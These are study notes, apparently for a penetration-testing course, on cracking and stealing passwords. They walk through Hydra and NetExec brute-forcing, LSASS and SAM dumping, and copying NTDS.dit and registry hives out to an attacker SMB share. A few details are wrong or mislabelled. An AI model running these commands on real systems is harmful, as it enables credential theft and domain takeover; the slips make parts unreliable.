Password Attacks.md
1 --- 2 abbr: 3 - "WinRM: Windows Remote Management" 4 - "LSASS: Local Security Authority Subsystem Service" 5 - "LSA: Local Security Authority" 6 - "SAM: Security Authentication Module" 7 - "DC: Domain Controller" 8 - "DB: DataBase" 9 - "DPAPI: Data Protection Application Programming Interface" 10 - "DCC2: Domain Cached Credentials 2" 11 - "AV: Anti Virus" 12 - "PID: Process ID" 13 - "NTDS: NT Directory Services" 14 - "VSS: Volume Shadow Coffee" 15 --- 16 There are 4 ways to validate: 17 1. Something you know 18 - Password 19 - PIN 20 - Passphrase 21 2. Something you have 22 - ID card 23 - smart card 24 - trusted device/phone 25 3. Something you are 26 - fingerprint 27 - face recognition 28 - iris/retina 29 - voice 30 4. Somewhere you are 31 - geolocation 32 - [[IP]] address 33 34 ```ad-note 35 Salting is a random sequence of bytes added to password before it is hashed 36 ``` 37 38 Salt should not be reused 39 40 ## John The Ripper 41 42 Covered in more details [[JohnTheRipper|here]] 43 44 To identify what hash format our hash is in we can consult this [documentation](https://openwall.info/wiki/john/sample-hashes) or [this](https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats) 45 46 We could also use `hashid` with the `-j` flag to show the hash format, in john format 47 `hashid -j <hashstring>` 48 49 To specify the format when using john, we can use the `--format` 50 `john --format=<hashformat> ... <hash_file>` 51 52 We can also convert multiple password protected files into john format. We can do this by typing the `<filetype>2john <file to crack> > file.hash` for example: 53 `pdf2john <filename>.pdf > file.hash` 54 55 We can check for the extension of an encrypted file [here](https://fileinfo.com/filetypes/encoded) 56 57 We can use `grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null` 58 59 With the older `PEM` formats it is possible to tell if an [[SSH]] key in encrypted 60 61 To know if an [[SSH]] key encrypted, we can read it using `ssh-keygen -yf ~/.ssh/<sshfile>` 62 63 We can use `ssh2john <ssh file` to extract the password into [[JohnTheRipper]] format 64 65 We can check for the extension of an archive file [here](https://fileinfo.com/filetypes/compressed) 66 67 Archive format that does not natively support encryption could be encrypted using [[OpenSSL]] 68 69 When attempting to crack [[OpenSSL]] in [[JohnTheRipper]], we might get false positives or complete failure. So, to mitigate that we can run the following code to directly attempt to encrypt it using [[OpenSSL]] 70 `for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done` 71 72 When using `bitlocker2john -i <filename>.vhd > <filename>` it would generate 4 files, we should use the one with `bitlocker$0$`. The resulting hash could be cracked using either [[JohnTheRipper]] or [[Hashcat]] 73 74 ### Single Crack Mode 75 76 Rule-based cracking technique that is most useful when targetting [[Linux]] credentials 77 78 It will generate password candidates based on username, directory name and [GECOS](https://en.wikipedia.org/wiki/Gecos_field) value 79 80 We can use it with the command below 81 `john --single </path/to/discovered/passwdfile>` 82 83 ### Wordlist Mode 84 85 Uses the supplied wordlist against the password hash. 86 87 Multiple wordlists can be specified by separating them with a comma 88 89 Custom or built-in rules can be specified using the `--rules` argument 90 We can use this to generate candidate passwords using transformation such as appending number, capitalising letter and adding special character 91 92 We can use it with the command below 93 `john --wordlist=</path/to/wordlist> <hash_file>` 94 or 95 `john --wordlist=</path/to/wordlist>,<path/to/another/file> <hash_file>` 96 97 ### Incremental Mode 98 99 This is a powerful, brute-force-style password cracking mode that generate candidate password based on [Markov chains](https://en.wikipedia.org/wiki/Markov_chain) 100 101 ```ad-tip 102 This mode is more exhaustive but the most time-consuming 103 ``` 104 105 John uses predefined incremental mode specified in `john.conf` 106 107 We can use it with the command below 108 `john --incremental <hash_file>` 109 110 ## Hashcat 111 112 Covered in more details [[Hashcat|here]] 113 114 Have GPU support, hence can be used to crack a large amount of hashes. 115 116 Just like [[JohnTheRipper]], it have multiple attacking modes 117 118 General hashcat syntax are as belows 119 `hashcat -a <attack mode> -m <hash format> [wordlist, rule, mask, ...]` 120 121 We can use `hashid` with the `-m` argument to know the corresponding hashcat hash format 122 123 To add rules in our hashcat process we can proceed with the following format 124 `hashcat -a <attack mode> -m <hash format> -r /path/to/file` 125 126 When using `bitlocker2john -i <filename>.vhd > <filename>` it would generate 4 files, we should use the one with `bitlocker$0$`. The resulting hash could be cracked using either [[JohnTheRipper]] or [[Hashcat]] 127 ### Dictionary attack 128 129 Dictionary attack uses `-a 0` 130 131 User provide password hashes and a wordlist as input, hashcat would test each word in the wordlist as a potential password 132 133 Rules can be used to perform specific modifications to password to generate more guesses, rule files can typically be found in `/usr/share/hashcat/rules` 134 135 ### Mask attack 136 137 Dictionary attack uses `-a 3` 138 139 Allows us to specify the keyspace that is used for the password generation 140 141 | Symbol | Charset | 142 | ------ | ----------------------------------- | 143 | ?l | abcdefghijklmnopqrstuvwxyz | 144 | ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | 145 | ?d | 0123456789 | 146 | ?h | 0123456789abcdef | 147 | ?H | 0123456789ABCDEF | 148 | ?s | «space»!"#$%&'()*+,-./:;<=>?@[]^_`{ | 149 | ?a | ?l?u?d?s | 150 | ?b | 0x00 - 0xff | 151 We can define custom charset using `-1`,`-2` and `-3` and then refer to them using `?1`,`?2`,`?3` 152 153 For example 8 character password which starts with an uppercase, 4 lower case, 1 digit and symbol would look like `?u?l?l?l?l?d?s` 154 155 ## Custom Wordlists and Rules 156 157 Usually users will use the additions below for comply to password policies 158 159 | **Description** | **Password Syntax** | 160 | ------------------------------------- | ------------------- | 161 | First letter is uppercase | `Password` | 162 | Adding numbers | `Password123` | 163 | Adding year | `Password2022` | 164 | Adding month | `Password02` | 165 | Last character is an exclamation mark | `Password2022!` | 166 | Adding special characters | `P@ssw0rd2022!` | 167 168 Most passwords are no longer than ten characters 169 170 In [[Hashcat]], the below rules are can be used to mutate input words 171 172 | **Function** | **Description** | 173 | ------------ | ------------------------------------------------ | 174 | `:` | Do nothing | 175 | `l` | Lowercase all letters | 176 | `u` | Uppercase all letters | 177 | `c` | Capitalize the first letter and lowercase others | 178 | `sXY` | Replace all instances of X with Y | 179 | `$!` | Add the exclamation character at the end | 180 Below is the hashcat command that would turn an input wordlist to a larger wordlist based on a custom rule 181 `hashcat --force <input wordlist> -r <rule file> --stdout | sort -u > <output wordlist>` 182 183 We can use the rules above and save it in a file, one rule per line. Say we have 15 rules in the file and we generate a wordlist from it using a 1000 input wordlist. The final output would be 1000 x 15 since it generate 15 potential password per input 184 185 We can generate wordlists using [[CeWL]], this wordlists can then be run throught the rules to generate even more potential passwords 186 187 Below is a sample command of [[CeWL]] 188 ```bash 189 # Generate a wordlist based on the company's website 190 # -d is the depth to spider 191 # -m is length of words to be stored 192 # --lowercase is going to store the words in lowercase 193 # -w is the location of stored wordlist 194 cewl <company website> -d 4 -m 6 --lowercase -w <filename> 195 ``` 196 197 ## BitLocker 198 199 Once the password to a [[BitLocker]](`.vhd`) drive have been cracked, we can attempt to mount it. 200 201 On [[Windows]] we can simply double click the drive in our file explorer 202 203 On [[Linux]] and [[MacOS]], we can use a tool called [[dislocker]] and the sequence of commands below 204 ```bash 205 # Make dir for mounted drive 206 sudo mkdir -p /media/bitlocker 207 sudo mkdir -p /media/bitlockermount 208 209 # Setup the [[BitLocker]] file as a loop device 210 sudo losetup -f -P <filename>.vhd 211 212 # Decrypt it using [[dislocker]] 213 sudo dislocker /dev/<loopname> -<password> -- /media/bitlocker 214 215 # Mount decrypted volume 216 sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount 217 ``` 218 219 ## Network Services 220 221 There are alot of services that are available during our engagements, to know more do read [[Footprinting|here]] 222 223 In this module we will only go through some services which we will more often find 224 225 ### WinRM 226 227 More details [[Footprinting#WinRM|here]] or [[WinRM|here]] 228 229 This service must be activated and configured manually in [[Windows]] 10/11 230 231 In most cases, it uses certs or specific authentication method to increase security 232 233 It uses [[TCP]] port 5985([[HTTP]]) and 5986([[HTTPS]]) 234 235 We can use [[NetExec]] for password attack on [[WinRM]], [[SMB]], [[LDAP]], [[MSSQL]] and others 236 237 The typical command usage for [[NetExec]] is as below 238 `netexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>` 239 240 We could also use [[crackmapexec]] with the same format as above 241 242 We could use [[Evil-WinRM]] to login into [[WinRM]] 243 244 The typical command usage for [[Evil-WinRM]] is as below 245 `evil-winrm -i <target-IP> -u <username> -p <password>` 246 247 ### SSH 248 249 More details [[Footprinting#SSH|here]] or [[SSH|here]] 250 251 We can use [[Hydra]] to perform password attacks on [[SSH]] 252 253 The typical command usage for [[Hydra]] is as below 254 `hydra -L <userlist> -P <passwordlist> ssh://<target-IP>` 255 or 256 `hydra -l <user> -p <password> ssh://<target-IP>` 257 258 ### RDP 259 260 More details [[Footprinting#RDP|here]] or [[RDP|here]] 261 262 We can use [[Hydra]] to perform password attacks on [[RDP]] 263 264 The typical command usage for [[Hydra]] is as below 265 `hydra -L <userlist> -P <passwordlist> rdp://<target-IP>` 266 or 267 `hydra -l <user> -p <password> rdp://<target-IP>` 268 269 ### SMB 270 271 More details [[Footprinting#SMB|here]] or [[SMB|here]] 272 273 [[SMB]] is similar to [[NFS]] in [[UNIX]] and [[Linux]], for providing drives on local networks 274 275 [[SMB]] is known as **Common Internet File System** 276 277 [[Samba]] is often used as a solution to provide [[SMB]] across multiple [[Operating System]] 278 279 We can use [[Hydra]] to perform password attacks on [[SMB]] 280 281 The typical command usage for [[Hydra]] is as below 282 `hydra -L <userlist> -P <passwordlist> smb://<target-IP>` 283 or 284 `hydra -l <user> -p <password> smb://<target-IP>` 285 286 If we get an error saying `invalid reply from target smb://<ip>:<port>`, this would mean that the [[Hydra]] is not updated to the latest version to support [[SMB]]v3 287 288 We could also use [[Metasploit]] to login to brute force password on [[SMB]] using the `auxiliary/scanner/smb/smb_login` module 289 290 To know available shares we can use [[NetExec]], `netexec smb <ip> -u <username> -p <password> --shares` 291 292 Once we get the credentials, we can login using [[smbclient]], `smbclient -U <user> \\\\<ip>\\SHARENAME` 293 294 ## Spraying, Stuffing and Defaults 295 296 ### Password Spraying 297 298 Password spraying is when an attacker uses the same password across many different user accounts 299 300 If we know someone in the company always use the same password, we can try to spray that password to find out their username 301 302 For web applications, [[Burp]] can be used. For [[Active Directory]], [[NetExec]] or [[Kerbrute]] can be used. 303 304 ### Credential stuffing 305 306 An attacker uses a stolen credential from one service to attempt access on another 307 308 This would be successful if the user reuse their username and password across platforms, which is typically the case 309 310 We can use [[Hydra]] to perform credential stuffing with a list of username and password we had obtained. The list should be in the format of `<username>:<password>` 311 `hydra -C <username and password list> <service>://<ip>` 312 313 ### Default Credentials 314 315 Most systems comes with default credentials, some admin might forget to change these things 316 317 We can install [Default Credentials Cheat Sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet). Once installed, we can use it to search for default credentials associated with a specific product or vendor 318 `creds search linksys` 319 320 We could also just search for public documentation which would typically state the default credentials 321 322 The default credentials in routers are typically not changed, so knowing the model of the router would typically give us the ability to know the password. 323 324 ## Windows Authentication Process 325 326 [[Kerberos]] is one of the most widely used and complex authentication mechanism in [[Windows]] 327 328 The system that authenticates users, managers local logins and oversees all aspects of local security and provides translation between usernames and SID is called the **Local Security Authority** 329 330 On a [[Active Directory#Domain Controller|Domain Controller]], these policies and accounts apply to the entire domain and stored in [[Active Directory]] 331 332 ![[Pasted image 20251219173643.png]] 333 334 Local Interactive Login is handled through coordination between several components: 335 - The logon process [[WinLogon]] 336 - Logon user interface `LogonUI` 337 - LSASS 338 - One or more authentication package 339 - [[SAM]] 340 - [[Active Directory]] 341 342 [[WinLogon]] is a trusted system process responsible for managing security-related user interactions: 343 - Launch `LoginUI` 344 - Handling password changes 345 - Locking and unlocking workstation 346 347 [[WinLogon]] sends the credentials via [[RPC]] messages from `Win32k.sys` 348 349 [[WinLogon]] -> `LoginUI` -> LSASS 350 351 LSASS is stored in `%SystemRoot%\System32\Lsass.exe`, enforces local security policy, authenticating users and forwarding security audit logs to the `Event Log` 352 353 | **Authentication Packages** | **Description** | 354 | --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 355 | `Lsasrv.dll` | The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful. | 356 | `Msv1_0.dll` | Authentication package for local machine logons that don't require custom authentication. | 357 | `Samsrv.dll` | The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs. | 358 | `Kerberos.dll` | Security package loaded by the LSA for Kerberos-based authentication on a machine. | 359 | `Netlogon.dll` | Network-based logon service. | 360 | `Ntdsa.dll` | This library is used to create new records and folders in the Windows registry. | 361 362 ### SAM 363 364 SAM is a database file in [[Windows]] that stores user account credentials, stored in `%SystemRoot%\system32\config\SAM` and mounted under `HKLM\SAM` 365 366 Used to authenticate local and remote users and use cryptographic protections to prevent unauthorized access 367 368 User password are stored as [[LM]] or [[NTLM]] hash 369 370 You would need **SYSTEM** level privilege to view this file 371 372 [[Windows]] system can be assigned to either a workgroup or domain during setup 373 - SAM database is handled locally if assigned to workgroup, all users stored locally 374 - DC must validate credentials from the [[Active Directory]] DB `ntds.dit` which is stored in `%SystemRoot%\ntds.dit` 375 376 To protect against offline cracking, [[Windows]] added a feature called `SYSKEY(syskey.exe)`. 377 378 `SYSKEY` partially encrypts [[SAM]] on disk, ensuring all password hashes are encrypted with a system generated key 379 380 Windows already encrypts SAM user hashes individually using DES-based methods derived from the user's RID. SYSKEY takes this further by generating a **128-bit RC4 encryption key** (the "boot key" or "system key") stored in the registry (SYSTEM hive at `ControlSet001\Control\Lsa\JD`). This boot key encrypts the entire SAM\Domains\Account section containing all user hashes. 381 382 Decryption during boot looks something like below: 383 1. Boot loader loads kernel and SYSTEM hive. 384 2. LSASS reads the boot key from SYSTEM hive. 385 3. LSASS uses boot key + user RID to RC4-decrypt each user's hash blob. 386 4. Decrypted NTLM hashes are now available in memory for authentication. 387 388 ![[Pasted image 20251219180057.png]] 389 390 ## Attacking SAM, SYSTEM and SECURITY 391 392 With admin rights on a [[Windows]] system, we could dump the [[SAM]] DB and start cracking them 393 394 There are 3 **Registry hives** we can copy if we have admin rights 395 396 | Registry Hive | Description | 397 | --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | 398 | `HKLM\SAM` | Contains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords. | 399 | `HKLM\SYSTEM` | Stores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes. | 400 | `HKLM\SECURITY` | Contains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more. | 401 402 We can launch a cmd session as admin and use `reg.exe` to save copies of the registry hives 403 ```bash 404 reg.exe save <hklm\sam/hklm\system/hklm\security> C:\<filename>.save 405 ``` 406 407 Once we have out backed up copies of the registry hive, we could send it over to out device using [[SMB]] 408 409 We can setup [[SMB]] on our device using the commands below 410 ```bash 411 # Setup SMB on our device 412 sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support <sharename> /path/to/directory 413 ``` 414 ```cmd 415 # Sending over the backed up registry hive to out device 416 move <filename>.save \\<attackerip>\<sharename> 417 ``` 418 419 Once we got the files over to out device, we could use `secretsdump` to extract all the data 420 `python3 /usr/share/doc/python3-impacket/example/secretsdump.py -sam <filename>.save -security <filename>.save -system <filename>.save LOCAL` 421 422 Once we have extracted the hashes and listed them line by line in a file, we could then attempt to crack them using [[Hashcat]] 423 `sudo hashcat -m 1000 <filename> /path/to/wordlists` 424 425 We could get **DCC2** hash from `hklm\security` and this hashes uses [[PBKDF2]] and are harder to to crack than [[NTLM]] hashes while also cannot be used for lateral movement 426 427 We could also get the **DPAPI**, which is a set of API in [[Windows]] [[Operating System]] that are used to encrypt and decrypt data blobs on a per-user basis. Below are few apps that uses DPAPI 428 429 | Applications | Use of DPAPI | 430 | --------------------------- | ------------------------------------------------------------------------------------------- | 431 | `Internet Explorer` | Password form auto-completion data (username and password for saved sites). | 432 | `Google Chrome` | Password form auto-completion data (username and password for saved sites). | 433 | `Outlook` | Passwords for email accounts. | 434 | `Remote Desktop Connection` | Saved credentials for connections to remote machines. | 435 | `Credential Manager` | Saved credentials for accessing shared resources, joining Wireless networks, VPNs and more. | 436 437 DPAPI credentials can be decrypted manually with tools like [dpapi](https://github.com/fortra/impacket/blob/master/examples/dpapi.py), [mimikatz](https://github.com/gentilkiwi/mimikatz), or remotely with [DonPAPI](https://github.com/login-securite/DonPAPI). 438 439 We could also attempt to target the LSA secrets over the network which would allow use to extract credentials from running services or applications that stores passwords 440 441 ```bash 442 # Dumping LSA secrets remotely 443 netexec smb <ip> --local-auth -u <username> -p <password> --lsa 444 445 # Dumping SAM remotely 446 netexec smb <ip> --local-auth -u <username> -p <password> --sam 447 ``` 448 449 ## Attacking LSASS 450 451 LSASS is responsible for enforcing security policies, handling user authentication and storing sensitive credential material in memory 452 453 ![[Pasted image 20251219211537.png]] 454 455 After initial logon, LSASS will: 456 - Cache credentials locally in memory 457 - Create access tokens 458 - Enforce security policies 459 - Write to [[Windows]]' security log 460 461 We should first create a copy of the content of LSASS process memory via the generation of a memory dump 462 463 We could generate the dump file using task manager 464 1. Open task manager 465 2. Select the Processes tab 466 3. Find and right click the **Local Security Authority Process** 467 4. Select Create dump file 468 469 The above steps will generate a `lsass.DMP` in `%temp%` 470 471 We could also get a dump file using [[Rundll32]].exe & Comsvcs.dll. Do note that modern AV will recognise this as malicious activity 472 1. Identify `lsass.exe` PID using `tasklist /svc` or in [[PowerShell]] using `Get-Process lsass` 473 2. Using [[PowerShell]] we then run `rundll32 C:\windows\system32\consvcs.dll, MiniDump <pid> C:\<filename>.dmp full` 474 475 Once we have the dump file in our attack host, we can use [[Mimikatz]] fork [[pypykatz]], which is a [[Python]] rewrite that could run on [[Linux]] 476 477 We use the LSA option because LSASS is a subsystem of LSA 478 `pypykatz lsa minidump /path/to/file.dmp` 479 480 In its output we will find: 481 - MSV 482 - Validate logon attempts against the SAM DB 483 - *Will extract SID, Username, Domain, NT & SHA1 password hash* 484 - WDIGEST 485 - Default auth protocol in [[Windows]] XP,8,Sever 2003-2012 486 - Caches credentials in clear-text 487 - Most will have this disabled by default 488 - Kerberos 489 - Network authentication protocol used by the [[Active Directory]] 490 - Domain user will get a ticket upon successful authentication 491 - Ticket can be used to access shared resources on the network with enough access 492 - *Will extract passwords, ekeys, tickets, pins* associated with [[Kerberos]] 493 - DPAPI 494 - Extract DPAPI **masterkey** for logged-on users. 495 - These keys can be used to decrypt secrets associated with each application using DPAPI 496 497 ## Attacking Windows Credentials Manager 498 499 Credential Manager is a feature built into [[Windows]] server 2008 R2 & [[Windows]] 7 500 501 Allows users and applications to securely store credentials relevant to other systems and websites 502 503 Credentials are stored in special encrypted folders on the computer under the user and system profiles 504 - `%UserProfile%\AppData\Local\Microsoft\Vault\` 505 - `%UserProfile%\AppData\Local\Microsoft\Credentials\` 506 - `%UserProfiles%\AppData\Roaming\Microsoft\Vault\` 507 - `%ProgramData%\Microsoft\Vault\` 508 - `%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault` 509 510 Each vault folder contains a `Policy.vpol` file with [[AES]] keys that is protected by DPAPI. These [[AES]] keys are used to encrypt the credentials 511 512 Newer versions of [[Microsoft]] make use of **Credential Guard** to further protect the DPAPI master keys by storing them in secured memory enclaved 513 514 The main parts of the Credentials Manager is as below: 515 516 | Name | Description | 517 | ------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 518 | Web Credentials | Credentials associated with websites and online accounts. This locker is used by Internet Explorer and legacy versions of Microsoft Edge. | 519 | Windows Credentials | Used to store login tokens for various services such as OneDrive, and credentials related to domain users, local network resources, services, and shared directories. | 520 521 We can export [[Windows]] vault to `.crd` files either via: 522 - Control Panel 523 - `rundll32 keymgr.dll,KRShowKeyMgr` 524 525 To enumerate the credentials stored in the current user's profile run `cmdkey /list` 526 527 Upon running the above command the output is in the following format: 528 529 | Key | Value | 530 | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | 531 | Target | The resource or account name the credential is for. This could be a computer, domain name, or a special identifier. | 532 | Type | The kind of credential. Common types are `Generic` for general credentials, and `Domain Password` for domain user logons. | 533 | User | The user account associated with the credential. | 534 | Persistence | Some credentials indicate whether a credential is saved persistently on the computer; credentials marked with `Local machine persistence` survive reboots. | 535 536 Say we have a user in out Credential Manager we can login as that user with the command below 537 `runas /savecred /user:<User> cmd` 538 539 When using [[Mimikatz]], we can either dump credentials from memory using the `sekurlsa` module or manually decrypt credentials using the `dpapi` module 540 541 ## Attacking Active Directory and NTDS.dit 542 543 We could use dictionary attack against [[Active Directory]] accounts and dumping hashes from the `NTDS.dit` 544 545 Most of the attack against [[Active Directory]] is done after the initial compromise 546 547 ![[Pasted image 20251221125336.png]] 548 549 If a system is joined to a domain, it will no longer be referencing the SAM DB for logon validation 550 551 Attempting to brute force the login through the network could be easily detected and could lead us getting denied due to the numerous login attempt by the group policy 552 553 When an employee first joined, they will be given a username that follows the company's naming convention 554 555 We can get the username from the email `<username>@<domain>.com` 556 557 ```ad-tip 558 We can do some [[Google Dorks]] to find some public facing email for the company. Once you get some email either from their site or internal [[PDF]], you can use that to come to a conclusion on their naming convention 559 ``` 560 561 If we get a list of username by [[Google Dorks]], we could use [[Username Anarchy]] to generate a list of potential username. This is useful if we can't find out the username format for a particular company 562 `username-anarchy -i /path/to/usernamelist.txt` 563 564 Once we have the list of potential username, [[Kerbrute]] could be used for brute-forcing, password spraying or username validation. In our case we will be using it for username validation. You can use [[Nmap]] to find out what the domain is 565 `./kerbrute_linux_amd64 userenum --dc <dc ip> --domain <something.something> <usernamelist>.txt` 566 567 We can then use [[NetExec]] to perform brute force attack against the target domain controller. We can use it in conjunction with [[SMB]] protocol. Before performing this, we need to first know if there is an account lockout policy 568 `netexec smb <ip> -u <username> -p /list/to/wordlist` 569 570 NTDS is a service used with AD to find & organize network resources 571 572 If `ntds.dit` is compromised, we could use it to potentially compromise every account on the domain 573 574 To make a copy of the `ntds.dit`, we need a user in the `Administrators` or `Domain Admins` group 575 576 We can use [[Evil-WinRM]] to connect to the [[Windows]] machine 577 578 ```bash 579 # Checking local group membership of compromised user 580 net localgroup 581 582 # Checking compromised user's domain privileges 583 net user <username> 584 ``` 585 586 It is quite likely that NTDS will be stored in `C:` drive. We can use VSS with vssadmin to clone the `C:` drive 587 588 `sudo impacket-smbserver -smb2support <sharename> /path/to/save/directory ` 589 590 ```powershell 591 # Cloning the C: drive 592 vssadmin CREATE SHADOW /For=C: 593 594 # Copying ntds.dit from the VSS to another location 595 cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\path\to\save\NTDS.dit 596 597 # Moving file to attacker's SMB share 598 cmd.exe /c move C:\path\to\save\NTDS.dit \\<attacker ip>\<sharename> 599 ``` 600 601 Below are the command to extract hashes from a `ntds.dit` file 602 `impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL` 603 604 Alternatively, we could use [[NetExec]] to easily capture and dump the content of `ntds.dit` in our terminal 605 `smbexec smb <ip> -u <username> -p <password> -M ntdsutil` 606 607 ## Credential Hunting in Windows 608 609 Credential Hunting is the process of performing detailed searches across the file system and through various applications to discover credentials 610 611 In our attempt to hunt for credentials, we could ask one important question: 612 *What might an IT admin be doing on a day-to-day basis and which of those tasks may require credentials* 613 614 We can use whatever search functionality we can get our hands on in [[Windows]] to search for these keywords: 615 - Passwords 616 - Passphrase 617 - Keys 618 - Username 619 - User account 620 - Creds 621 - Users 622 - Passkeys 623 - configuration 624 - dbcredential 625 - dbpassword 626 - pwd 627 - Login 628 - Credentials 629 630 We can use [[LaZagne]] to find credentials that web browser or other installed applications may insecurely store 631 632 [[LaZagne]] contains alot of modules, some of them are highlighted in the table below: 633 634 | Module | Description | 635 | -------- | ------------------------------------------------------------------------------------------------- | 636 | browsers | Extracts passwords from various browsers including Chromium, Firefox, Microsoft Edge, and Opera | 637 | chats | Extracts passwords from various chat applications including Skype | 638 | mails | Searches through mailboxes for passwords including Outlook and Thunderbird | 639 | memory | Dumps passwords from memory, targeting KeePass and LSASS | 640 | sysadmin | Extracts passwords from the configuration files of various sysadmin tools like OpenVPN and WinSCP | 641 | windows | Extracts Windows-specific credentials targeting LSA secrets, Credential Manager, and more | 642 | wifi | Dumps WiFi credentials | 643 644 To run [[LaZagne]] we can run the following commands 645 `start LaZagne.exe all` 646 647 We could also use [[findstr]] to find for interesting terms 648 `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml` 649 650 Here are some places we should keep in mind when credential hunting 651 - Passwords in Group Policy in the SYSVOL share 652 - Passwords in scripts in the SYSVOL share 653 - Password in scripts on IT shares 654 - Passwords in `web.config` files on dev machines and IT shares 655 - Password in `unattend.xml` 656 - Passwords in the AD user or computer description fields 657 - KeePass databases (if we are able to guess or crack the master password) 658 - Found on user systems and shares 659 - Files with names like `pass.txt`, `passwords.docx`, `passwords.xlsx` found on user systems, shares, and [Sharepoint](https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration) 660 661 ## Linux Authentication Process 662 663 One of the most commonly used authentication mechanism for [[Linux]] is [[Pluggable Authentication Modules]]. 664 665 This module is responsible for `pan_unix.so` and `pam_unix2.so` which is typically located in `/usr/lib/x86-64-linux-gnu/security/`. These modules handle user information, authentication, sessions and password changes 666 667 Information about every user on the system is readable by all users and services, located at `/etc/passwd` and following the format below 668 `<username>:<password hash>:<uid>:<gid>:<GECOS>:<home directory>:<default shell>` 669 670 If the password field in `/etc/passwd` is set to `x`, then the password is in `/etc/shadow`. If the `/etc/passwd` file is world-readable, we can change the the root entry to not have the `x` or password hash in the password slot, allowing us to become root without password prompt 671 672 The `/etc/passwd` are only readable by admins and contains 9 fields as specified below 673 `<username>:<password hash>:<last changed>:<min age>:<max age>:<warning period>:<inactivity period>:<expiration date>:<reserved field>` 674 675 If the password field contains characters such as `!` or `*`, the user cannot login user [[UNIX]] password but with [[Kerberos]] or key-based auth 676 677 ```ad-note 678 The password field follows the following format 679 `$<id>$<salt>$<hashed>` 680 ``` 681 682 | ID | Cryptographic Hash Algorithm | 683 | ------ | --------------------------------------------------------------------- | 684 | `1` | [MD5](https://en.wikipedia.org/wiki/MD5) | 685 | `2a` | [Blowfish](https://en.wikipedia.org/wiki/Blowfish_\(cipher\)) | 686 | `5` | [SHA-256](https://en.wikipedia.org/wiki/SHA-2) | 687 | `6` | [SHA-512](https://en.wikipedia.org/wiki/SHA-2) | 688 | `sha1` | [SHA1crypt](https://en.wikipedia.org/wiki/SHA-1) | 689 | `y` | [Yescrypt](https://github.com/openwall/yescrypt) | 690 | `gy` | [Gost-yescrypt](https://www.openwall.com/lists/yescrypt/2019/06/30/1) | 691 | `7` | [Scrypt](https://en.wikipedia.org/wiki/Scrypt) | 692 693 *Most [[Linux]] distro now uses [[yescrypt]] because its stronger against offline brute-force attack* 694 695 Old password might be stored in `/etc/security/opasswd` since [[Pluggable Authentication Modules]] can prevent users from reusing old passwords 696 697 Once we have root access, we can gather user password hashes using [[unshadow]]. Sample usage are as below 698 ```bash 699 # Create a copy of shadow and passwd 700 sudo cp /etc/shadow /tmp/shadow.bak 701 sudo cp /etc/passwd /tmp/passwd.bak 702 703 # Generating hash files using unshadow 704 unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes 705 ``` 706 707 ## Credential Hunting on Linux 708 709 We can look for credentials in these places among other places: 710 - Files 711 - Config 712 - DB 713 - Notes 714 - Scripts 715 - Code 716 - cronjobs 717 - SSH keys 718 - History 719 - Logs 720 - [[Bash]] history 721 - Memory 722 - Cache 723 - In-memory processing 724 - Key-rings 725 - Browser stored credentials 726 727 [[Linux]] system will typically store log files as a text file. Logs can be divided into 4 categories 728 - Application Logs 729 - Event Logs 730 - Service Logs 731 - System Logs 732 733 Below are some important log file we can look at 734 735 | **File** | **Description** | 736 | --------------------- | -------------------------------------------------- | 737 | `/var/log/messages` | Generic system activity logs. | 738 | `/var/log/syslog` | Generic system activity logs. | 739 | `/var/log/auth.log` | (Debian) All authentication related logs. | 740 | `/var/log/secure` | (RedHat/CentOS) All authentication related logs. | 741 | `/var/log/boot.log` | Booting information. | 742 | `/var/log/dmesg` | Hardware and drivers related information and logs. | 743 | `/var/log/kern.log` | Kernel related warnings, errors and logs. | 744 | `/var/log/faillog` | Failed login attempts. | 745 | `/var/log/cron` | Information related to cron jobs. | 746 | `/var/log/mail.log` | All mail server related logs. | 747 | `/var/log/httpd` | All Apache related logs. | 748 | `/var/log/mysqld.log` | All MySQL server related logs. | 749 750 Application that requires our login details will stored the credentials in memory, and we can use either [[Mimipenguin]] or [[LaZagne]] to get them 751 752 **Keyrings** are used for secure storage and management of passwords on [[Linux]]. It is encrypted and protected with a master password 753 754 ```bash 755 # Command for finding config files 756 for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done 757 # or 758 for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done 759 760 # Command for finding db 761 for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done 762 763 # Command for searching for notes 764 find /home/* -type f -name "*.txt" -o ! -name "*.*" 765 766 # Command for searching for scripts 767 for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done 768 